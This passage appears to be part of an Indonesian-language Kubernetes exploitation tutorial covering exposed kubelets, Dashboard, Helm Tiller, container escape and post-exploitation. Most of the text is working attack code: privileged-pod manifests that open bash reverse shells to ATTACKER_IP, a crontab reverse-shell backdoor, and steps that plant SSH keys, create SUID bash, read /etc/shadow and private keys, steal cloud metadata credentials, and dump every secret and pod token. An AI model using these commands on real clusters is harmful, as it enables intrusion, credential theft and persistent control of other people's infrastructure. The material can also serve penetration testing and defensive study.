24kubeletctl -s TARGET scan rcekubeletctl — tool khusus untuk kubelet exploitation:
1# Install
2# https://github.com/cyberark/kubeletctl
3
4# Scan semua pods yang bisa di-exec
5kubeletctl -s TARGET scan rce
6
7# List pods
8kubeletctl -s TARGET pods
9
10# Exec command
11kubeletctl -s TARGET exec "id" -p POD_NAME -c CONTAINER_NAME -n NAMESPACE
12
13# Scan token dari semua pods
14kubeletctl -s TARGET scan token3.3 Kubernetes Dashboard Tanpa Auth
Kubernetes Dashboard yang terekspos tanpa autentikasi memberikan UI lengkap untuk mengelola cluster.
1# Cek apakah dashboard accessible
2curl -sk https://TARGET:8443/
3curl -sk https://TARGET/api/v1/namespaces/kubernetes-dashboard/services/https:kubernetes-dashboard:/proxy/
4
5# Cek apakah bisa skip login
6# Dashboard kadang dikonfigurasi dengan --enable-skip-login
7# atau --enable-insecure-loginVia Dashboard UI:
- Buka browser →
https://TARGET:8443 - Jika ada tombol “Skip” → klik, masuk tanpa auth
- Navigasi:
- Namespaces → lihat semua namespace
- Config and Storage → Secrets → baca semua secrets
- Workloads → Pods → lihat running pods
- + Create (kanan atas) → deploy pod baru
Deploy privileged pod via Dashboard:
Di Dashboard, klik + lalu paste YAML:
1apiVersion: v1
2kind: Pod
3metadata:
4 name: dashboard-pwn
5 namespace: default
6spec:
7 containers:
8 - name: pwn
9 image: alpine
10 command: ["/bin/sh", "-c", "apk add bash; bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"]
11 securityContext:
12 privileged: true
13 volumeMounts:
14 - mountPath: /host
15 name: host-vol
16 volumes:
17 - name: host-vol
18 hostPath:
19 path: /
20 hostNetwork: true3.4 Helm Tiller (Legacy)
Helm v2 menggunakan Tiller — server-side component yang berjalan di cluster dengan cluster-admin privilege. Biasanya listen di port 44134 tanpa autentikasi.
1# Cek apakah Tiller berjalan
2curl -s http://TARGET:44134
3
4# Dengan helm v2 client
5helm --host TARGET:44134 version
6helm --host TARGET:44134 list
7
8# Deploy chart yang berisi reverse shell
9# 1. Buat chart sederhana
10mkdir -p /tmp/pwn/templates
11cat > /tmp/pwn/Chart.yaml << 'EOF'
12apiVersion: v1
13name: pwn
14version: 0.1.0
15EOF
16
17cat > /tmp/pwn/templates/pod.yaml << 'EOF'
18apiVersion: v1
19kind: Pod
20metadata:
21 name: tiller-pwn
22spec:
23 containers:
24 - name: pwn
25 image: alpine
26 command: ["/bin/sh", "-c", "apk add bash; bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"]
27 securityContext:
28 privileged: true
29 volumeMounts:
30 - mountPath: /host
31 name: host-vol
32 volumes:
33 - name: host-vol
34 hostPath:
35 path: /
36 hostNetwork: true
37EOF
38
39# 2. Install chart via Tiller
40helm --host TARGET:44134 install /tmp/pwn --name pwnedCatatan: Helm v2 sudah deprecated sejak 2020, tapi masih ditemukan di cluster lama yang belum di-upgrade.
Bab 4 — Container & Pod Escape
Jika kamu sudah di dalam pod/container (via webshell, RCE di app, CI/CD, dll), langkah selanjutnya adalah keluar dari container ke host node.
4.1 Privileged Pod → Host Access
Jika pod berjalan dengan privileged: true:
1# Cek apakah privileged
2cat /proc/self/status | grep CapEff
3# CapEff: 000001ffffffffff → privileged (semua capabilities)
4
5# Jika privileged, akses host filesystem via device
6fdisk -l # lihat disk
7mkdir /tmp/host
8mount /dev/sda1 /tmp/host
9chroot /tmp/host bash
10# Sekarang root di host
11
12# Atau jika nsenter tersedia
13nsenter --target 1 --mount --uts --ipc --net --pid -- bash
14# Masuk ke namespace PID 1 (init process host)4.2 HostPath Mount
Jika pod memiliki volume mount ke host filesystem:
1# Cek mount points
2mount | grep host
3df -h
4ls /host-path/ # atau apapun nama mount-nya
5
6# Jika / host di-mount ke /host
7cat /host/etc/shadow
8cat /host/root/.ssh/id_rsa
9
10# Tulis SSH key ke host
11mkdir -p /host/root/.ssh
12echo "ssh-rsa AAAA... attacker@host" >> /host/root/.ssh/authorized_keys
13
14# Tulis cron job ke host
15echo "* * * * * root bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1" >> /host/etc/crontab
16
17# Buat SUID bash di host
18cp /host/bin/bash /host/tmp/rootbash
19chmod +s /host/tmp/rootbash4.3 Service Account Token → API Access
Dari dalam pod, gunakan auto-mounted service account token:
1# Token lokasi
2TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
3APISERVER=https://kubernetes.default.svc
4
5# Cek permission
6curl -sk -H "Authorization: Bearer $TOKEN" $APISERVER/api/v1/namespaces/kube-system/secrets
7
8# Jika token punya privilege tinggi → buat privileged pod baru (lihat 2.6)
9# Atau ambil secret dari namespace lain
10curl -sk -H "Authorization: Bearer $TOKEN" $APISERVER/api/v1/secrets | \
11 jq '.items[] | {ns: .metadata.namespace, name: .metadata.name, data: (.data // {} | map_values(@base64d))}'4.4 Cloud Metadata dari Pod
Pod di cloud (EKS, GKE, AKS) bisa akses cloud metadata endpoint:
1# ========== AWS (EKS) ==========
2# IMDSv1
3curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
4ROLE=$(curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/)
5curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE
6
7# IMDSv2 (butuh token)
8IMDS_TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
9curl -s -H "X-aws-ec2-metadata-token: $IMDS_TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/
10
11# EKS-specific: IRSA (IAM Roles for Service Accounts)
12# Token di environment variable
13echo $AWS_WEB_IDENTITY_TOKEN_FILE
14cat $AWS_WEB_IDENTITY_TOKEN_FILE
15echo $AWS_ROLE_ARN
16
17# ========== GCP (GKE) ==========
18curl -s -H "Metadata-Flavor: Google" \
19 http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token
20curl -s -H "Metadata-Flavor: Google" \
21 http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/scopes
22curl -s -H "Metadata-Flavor: Google" \
23 http://169.254.169.254/computeMetadata/v1/project/project-id
24
25# GKE Workload Identity
26curl -s -H "Metadata-Flavor: Google" \
27 http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email
28
29# ========== Azure (AKS) ==========
30curl -s -H "Metadata: true" \
31 "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"Gunakan cloud credentials yang didapat:
1# AWS
2export AWS_ACCESS_KEY_ID="ASIA..."
3export AWS_SECRET_ACCESS_KEY="..."
4export AWS_SESSION_TOKEN="..."
5aws sts get-caller-identity
6aws s3 ls
7aws ec2 describe-instances
8aws secretsmanager list-secrets
9
10# GCP
11# Gunakan access token
12curl -s -H "Authorization: Bearer ACCESS_TOKEN" \
13 "https://compute.googleapis.com/compute/v1/projects/PROJECT_ID/zones/us-central1-a/instances"4.5 Node Pivot via Kubelet
Jika dari dalam pod kamu bisa reach kubelet di node lain:
1# Dari dalam pod, scan kubelet di node lain
2for ip in $(seq 1 20); do
3 (curl -sk --connect-timeout 2 https://10.0.0.$ip:10250/pods > /dev/null 2>&1 && echo "10.0.0.$ip kubelet open") &
4done; wait
5
6# Exec ke pod di node lain via kubelet
7curl -sk https://NODE_IP:10250/run/NAMESPACE/POD_NAME/CONTAINER \
8 -X POST -d "cmd=id"Bab 5 — Post-Exploitation & Lateral Movement
5.1 Enumerate Semua Namespace & Workload
Setelah punya akses ke cluster, mapping seluruh environment:
1# Semua namespace
2kubectl get namespaces
3
4# Semua workloads
5kubectl get all --all-namespaces
6
7# Semua pods dengan detail (node, IP, status)
8kubectl get pods --all-namespaces -o wide
9
10# Semua services (temukan internal endpoints)
11kubectl get services --all-namespaces
12
13# Ingress (temukan domain/URL)
14kubectl get ingress --all-namespaces
15
16# Network policies (pahami segmentasi)
17kubectl get networkpolicies --all-namespaces
18
19# Persistent volumes (data stores)
20kubectl get pv,pvc --all-namespaces
21
22# Custom resources (bisa berisi config sensitif)
23kubectl get crd
24kubectl api-resources --verbs=list --namespaced -o name | xargs -I{} kubectl get {} --all-namespaces -o json 2>/dev/nullNamespace yang sering berisi hal menarik:
| Namespace | Biasanya berisi |
|---|---|
default | Aplikasi utama |
kube-system | Core components, SA tokens |
monitoring | Prometheus, Grafana (creds) |
logging | ELK/Loki (log data) |
istio-system | Service mesh config |
argocd | GitOps config + repo creds |
cert-manager | TLS certificates |
ingress-nginx | Ingress controller |
database / db | Database workloads |
5.2 Secret Extraction → Credentials
1# Dump SEMUA secrets decoded
2kubectl get secrets --all-namespaces -o json | jq '
3 .items[] |
4 select(.data != null) |
5 {
6 namespace: .metadata.namespace,
7 name: .metadata.name,
8 type: .type,
9 data: (.data | map_values(@base64d))
10 }
11' 2>/dev/null
12
13# Filter: database credentials
14kubectl get secrets --all-namespaces -o json | jq '
15 .items[] |
16 select(.data != null) |
17 select(
18 (.metadata.name | test("db|database|mysql|postgres|mongo|redis"; "i")) or
19 (.data | keys[] | test("password|uri|url|dsn|connection"; "i"))
20 ) |
21 {namespace: .metadata.namespace, name: .metadata.name, data: (.data | map_values(@base64d))}
22'
23
24# Filter: docker registry credentials
25kubectl get secrets --all-namespaces -o json | jq '
26 .items[] |
27 select(.type == "kubernetes.io/dockerconfigjson") |
28 {name: .metadata.name, config: (.data[".dockerconfigjson"] | @base64d | fromjson)}
29'
30
31# ConfigMaps juga sering berisi credentials
32kubectl get configmaps --all-namespaces -o json | jq '
33 .items[] |
34 select(.data != null) |
35 select(.data | to_entries[] | .value | test("password|secret|key|token"; "i")) |
36 {namespace: .metadata.namespace, name: .metadata.name, data: .data}
37'
38
39# Environment variables dari pods (sering berisi creds)
40kubectl get pods --all-namespaces -o json | jq '
41 .items[] |
42 {
43 pod: .metadata.name,
44 namespace: .metadata.namespace,
45 env: [.spec.containers[].env[]? | select(.value != null) | {(.name): .value}]
46 } |
47 select(.env | length > 0)
48'5.3 Pivot ke Node Lain
Dari privileged pod atau setelah escape ke host:
1# List semua nodes
2kubectl get nodes -o wide
3# NAME STATUS INTERNAL-IP EXTERNAL-IP
4# node-1 Ready 10.0.0.11 34.x.x.x
5# node-2 Ready 10.0.0.12 34.x.x.y
6
7# SSH ke node lain (jika key ditemukan)
8ssh -i /host/root/.ssh/id_rsa root@10.0.0.12
9
10# Atau deploy pod di node tertentu
11cat << EOF | kubectl apply -f -
12apiVersion: v1
13kind: Pod
14metadata:
15 name: pivot-node2
16spec:
17 nodeName: node-2
18 containers:
19 - name: pwn
20 image: alpine
21 command: ["/bin/sh", "-c", "sleep 99999"]
22 securityContext:
23 privileged: true
24 volumeMounts:
25 - mountPath: /host
26 name: host-vol
27 volumes:
28 - name: host-vol
29 hostPath:
30 path: /
31EOF
32
33kubectl exec -it pivot-node2 -- chroot /host bash5.4 Cloud Credential Theft dari Pod
1# Scan semua pods untuk cloud credentials
2for pod in $(kubectl get pods --all-namespaces -o jsonpath='{range .items[*]}{.metadata.namespace}/{.metadata.name}{"\n"}{end}'); do
3 ns=$(echo $pod | cut -d/ -f1)
4 name=$(echo $pod | cut -d/ -f2)
5 echo "=== $pod ==="
6 kubectl exec -n $ns $name -- env 2>/dev/null | grep -iE '(AWS_|AZURE_|GOOGLE_|GCP_|CLOUD_|SECRET|TOKEN|KEY|PASSWORD)' 2>/dev/null
7done
8
9# Cari secret files di pods
10for pod in $(kubectl get pods --all-namespaces -o jsonpath='{range .items[*]}{.metadata.namespace}/{.metadata.name}{"\n"}{end}'); do
11 ns=$(echo $pod | cut -d/ -f1)
12 name=$(echo $pod | cut -d/ -f2)
13 kubectl exec -n $ns $name -- cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null && echo " → $pod"
14done5.5 Checklist Ringkasan
Menemukan Kubernetes Terekspos
│
├─ 1. Identifikasi service
│ ├─ API Server (6443) → anonymous auth?
│ ├─ etcd (2379) → tanpa auth?
│ ├─ Kubelet (10250/10255) → exec pods?
│ └─ Dashboard (8443) → skip login?
│
├─ 2. API Server exploitation
│ ├─ Anonymous access → enumerate cluster
│ ├─ RBAC misconfig → escalate privilege
│ ├─ List secrets → decode credentials
│ └─ Create pod → RCE
│
├─ 3. etcd exploitation
│ └─ Dump all data → secrets, tokens, configs
│
├─ 4. Kubelet exploitation
│ └─ /run endpoint → exec ke pod → RCE
│
├─ 5. Container/Pod escape
│ ├─ Privileged? → mount host / nsenter
│ ├─ HostPath? → read/write host filesystem
│ ├─ SA token? → API access → create privileged pod
│ └─ Cloud? → metadata → cloud credentials
│
├─ 6. Post-exploitation
│ ├─ Dump semua secrets & configmaps
│ ├─ Enumerate semua workloads
│ ├─ Pivot ke node lain
│ └─ Cloud credential theft
│
└─ 7. Lateral movement
├─ SSH keys dari nodes
├─ Database credentials dari secrets
├─ Cloud IAM → full infrastructure
└─ CI/CD credentials → supply chainBab 6 — (Coming soon)